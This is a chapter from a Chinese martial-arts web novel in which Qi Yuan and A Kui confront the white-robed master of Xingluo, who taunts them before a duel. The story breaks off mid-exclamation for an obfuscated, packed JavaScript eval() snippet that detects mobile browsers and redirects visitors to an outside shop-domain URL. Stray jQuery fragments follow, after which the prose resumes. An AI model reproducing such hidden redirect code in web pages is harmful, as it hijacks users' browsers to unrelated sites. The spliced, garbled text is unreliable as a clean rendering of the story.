在他们踏上台阶的瞬间,原本凝立不动的艳女们倏然快速移动起来,仿佛有一只看不见的手在牵引着她们。
武士们连连挥刀,劈中的却是虚无。
他们忽然间像是踏入了一片广阔的空无天地,艳女们紧紧地围在他们身边,任他们连续挥刀,全都不动声色。即使给劈中了,也像是毫无所察,依然默立不动,面容沉寂,好似带着美艳却空洞的纸面具。
她们的伤口处流出诡异的血来,浓稠的暗黑的污血,只有死去多时的人,才会流出这般的血。
十七抹了一把脸道:“太邪乎了,这些人不人鬼不鬼的。公子,咱是不是得拎个高僧道士过来?”
“是阵法。”齐远道。他读过不少兵书,除正统兵法外,也给十七这个传奇演义迷带着,看过一些江湖术士排兵布阵的奇书。
“我记得有本书,上面说过一种奇门阵。”
“奇门阵?那是什么?该如何破法。”十五问。
“大家切勿轻举妄动,要先找到阵法的破绽。”齐远道,“这种阵法有生门有死门,行差一步,就会给困死在原地。”
艳女中似乎有人轻蔑地笑了一下。
而后,她们一齐绕着齐远等人缓缓踱步,步伐曼妙,身姿娉婷,妖娆似宫中舞伎。
齐远冷冷地环视着她们,倏地拔剑刺向其中一人。那人面上的纸面具一颤,虽则只有短短的刹那,却还是给他捕捉到了。
“她就是操纵阵法的术士!”
闻言,武士们齐齐拔刀向那那女子,她却猛地翻身后跃,逃离了阵型。
“大家随我来。”齐远牵住阿葵的手,提剑踏上那女子先前站立的方位。
一般而言,布阵者所立之处,必是生门。找到生门,就能找到出阵之法。
没料到的是,这一踏,竟直接踏到了两级台阶之上。身后一阵轰隆隆的响声,宛如山崩地陷,没来得及跟上的武士们齐齐消失不见,而他们所立之处,俨然已成了一座望不到底的深坑。
机关陷阱!
“你来了。”一个男人的声音在不远处响起来。
齐远回头,看到了站在前方水阁内的白衣男人。
他一身月白宽袍,腰间随意束着一根绯红绦带,绦带旁,悬着一把长刀,刀身华丽,像是摆在架子上收藏的样子货。
齐远的目光自那把长刀上移开,看到了男人脚下踏着的木屐。
只有燮朝平民才会穿的木屐。
这样一个看上去有些散漫的男人,竟是星罗之主。
阿葵轻轻捏了捏他手心,齐远察觉到她手心黏糊糊的,发了汗。她在畏惧这个男人,也在告诉他,这个男人就是在雪原给了她一把刀的人。
“你就是星罗的主人?”他问。
男人不答:“带了你的武士来找我么?可惜他们暂时被困住了。因为我想邀请的人,是你。”
齐远道:“我来,可不是为了逞英雄,而是要剿灭星罗。星罗的主人,不会是庸碌之辈。”
男人笑笑:“看来你很了解我啊。”
“人应该了解与之对战的敌人。”
“你把我看作敌人,却收下了我的赠礼么?”男人话锋一转,视线扫过他身边的阿葵,戏谑道,“还是说,你早已知晓,只是在利用她,利用她,找到来星罗的路。”
“你说什么?”
“不必在我面前惺惺作态。利用一个女孩,的确很卑劣,却能教你大愿得成,说不定还能建功立业。”
齐远喝道:“你错了!阿葵是我的——”
男人打断他,语气咄咄逼人:“是我猜错了,还是你在自欺欺人?你会原谅一个曾经要杀死你的人么?甚至这个人还杀死了你的母亲,你会压抑住心里的仇恨么?阿葵,你说呢?”
阿葵猛地拔出刀来,奔向男人:“阿远不是你,他从不骗我!”
“阿葵,回来!”齐远急追过去,在他的手指碰到阿葵衣领的刹那,男人忽然拔刀。刀光在眼前一闪,他抬臂格挡,放下时,阿葵已给男人扯住了后领。
她手中的刀刺中了男人的肩头,却没有血流出来。
“杀了我,你阿爷也会死。”
阿葵一愣,喊道:“你骗我!你骗了我!”
齐远眼角抽动,拔剑,直刺男人手腕:“别碰阿葵!”
齐安不以为意,反手拔下肩头的刀,横在阿葵颈下,“想求我放了她么?”
他看向不住挣扎的阿葵,脸上依然带着戏弄之意:“我说过,我不骗孩子,可你已经是那小子的女人了。为了他的包子,才委身于他的么?”
阿葵大叫:“杀了我!”拼力撞向刀锋。
“你情愿为他而死么?”男人微微怔忪,而此时,齐远猛地挺剑刺向他手腕。他松开手,一把将阿葵推向齐远,冷道:“你说得对,男人之间的事,不该把女人搅进来。”
齐远上前,一手揽住阿葵,“阿葵,收起刀,到我身后。”
齐安问:“是要同我比斗么?心里已经生出了仇恨吧?”
齐远安顿好阿葵,面对着男人,持剑而立,“在踏足星罗之前,我对你没有仇恨,我不知你为何要挟阿葵来刺杀我?又为何刺杀帝都的公卿大臣?”
“现下如何?心里已然恨我了吧?我若恨一个人,就会杀了他。来吧,试试看你能不能做到。”
齐远看着他那副好整以暇的神情,忽的翘起唇角,讥嘲道:“你以为,你看透了我么?从一开始,你就在以己度人,不住地揣度我的心思,挑拨我和阿葵的关系。你以为你能掌控人心么?你要挟阿葵杀我,我不会恨。仇恨只能啃噬一个人的心,最终将他吞噬。我了解阿葵,我了解她为何这么做,也绝不会怪她,她很快会是我的妻子。你从头到尾,全猜错了。”
阿葵怔怔地望着齐远。她听到了他的话,听到他说,她很快会是他的妻子。
“阿远……”她上前,想抓住齐远的手,可他手里握着剑柄,剑刃锋利。
这是一个杀人场。不是她和阿远亲密依偎的所在。她缩回手,手心又发了汗,那个男人……阿远真的能胜过他么?
齐安淡淡一笑:“这番冠冕堂皇的话,是你父亲教你的么?”他说着摇了摇头,低笑起来,“可惜,你从来不知你父亲究竟是什么货色。”
他话音未落,齐远眉宇间陡然升起一抹冷戾。他挥剑横扫,剑光漫洒,映着男人浅淡的笑意,和他手中的长刀。
男人拔出了刀,刀光冷冽,在渐暗下来的清冷暮色里,更显得肃杀。
“以剑对刀,是必败之局。”他说。
噌啷一声,齐远手中的剑给斩成了两截。
“阿远
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200599|150369||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
!”阿葵奔到齐远身前,张开双臂,护住了他。
“阿葵,到我身后。”
“可是你没有——”阿葵想说他没有武器了,可看到齐远的目光后,她把话吞了回去,默默回到他背后。
那目光坚忍,带着不可撼动的超拔意志。
便似他们初遇之时,少年面对着凶狠的白狼王时,赤手空拳对阵,受了伤依旧面色不改,反而越战越勇。
“你要用这把断剑同我战斗么?那么下一回合,断的就不是剑,兴许是你的手臂,或是,你的头颅。”齐安道。
“那就看看,到底是谁的人头先落地!”齐安手持断剑,猛地跃起,斜刺向男人颈侧。
“别这么鲁莽,我还不想杀你。我们之间,其实并没有仇恨。至少我对你没有恨。”齐安侧身避开。
“你先是百般挑衅,又污蔑我父亲,还想同我讲和?星罗的主人,一向如此颠倒行事么?”
“我只是不想那么早杀你。不过你一意寻死的话,我也不介意给你点教训。”
阿葵一瞬不瞬地望着男人的手,手中紧紧握着短刀,只待他拔刀,便扑上去刺他。可她只觉眼前刀光一闪,还未看清,一个身影已斜飞出去。
“阿远!”齐远手臂上,横亘着一道刀痕,血被臂腕压住了,一时并未涌出来。
“不要紧。”他推开阿葵,缓缓站起身。他手中还紧紧地握着那把断剑。
“你的刀很快,可只是快而已。你坚持不了多久,刚刚我听到了你的呼吸,你气息混乱,想必血脉也是错乱的,每一次挥刀,都会比常人要消耗更多气血,这样的你,支撑不了多久就会力竭而死。”他竖剑在身前,持剑移步,“来吧,看看我和你,谁先倒下。”
齐安苦笑:“看来我的秘密,还是给你发现了啊。我说过的,眼下我还不想杀你——”倏地,他笑容一滞,整个人踉跄后退。
“公子!避开些,我来除掉他!”
身后,武士们重又举起了□□。
之前,他们在陷阱中同那女子缠斗多时,发觉女子不论如何移位,总会回到同一个地方,十七机警,瞧出了机关所在,击伤女子后,按下机关,回到了原地,正逢齐远和齐安两人打斗,便悄悄矮身躲在荒草后,取出弩箭和□□,趁男人分神,射向了他的肩头。
齐远携着阿葵的手闪向一旁,弩箭飞来,这次不止一支。
成群的箭矢仿佛一阵急雨倾泻而来,眼看男人便要死于箭雨之下,齐远紧紧携着阿葵的手,心中莫名升起微微的惆怅,惆怅于男人的死。他不该这般死去,不该死于箭雨之下,而是该死于两人的试手之中。
眼前忽的一亮,刀光如电,刀身破风的声音轻如裂帛,眨眼之间,弩箭如折断翅膀的蝗虫般纷纷坠地。
白衣男人立在风里,衣袂飘飘,周身毫发无伤。他洒然一笑,带着一抹讥诮,看向齐远:“你在以他们为剑么?”
武士们心下惊异,但毕竟身经百战,已有条不紊地重装弩箭,正待再度发射,忽听齐远一声低喝:“停手!”
他松开阿葵的手,持着阿葵递给他的那把短刀,站到了男人身前。
男人赞许地点点头:“不错,在我们北疆,这才是男人用来搏命的刀。”他收刀回鞘,从袖怀中取出一把同样形制的匕首,“来吧,拔出你的刀。”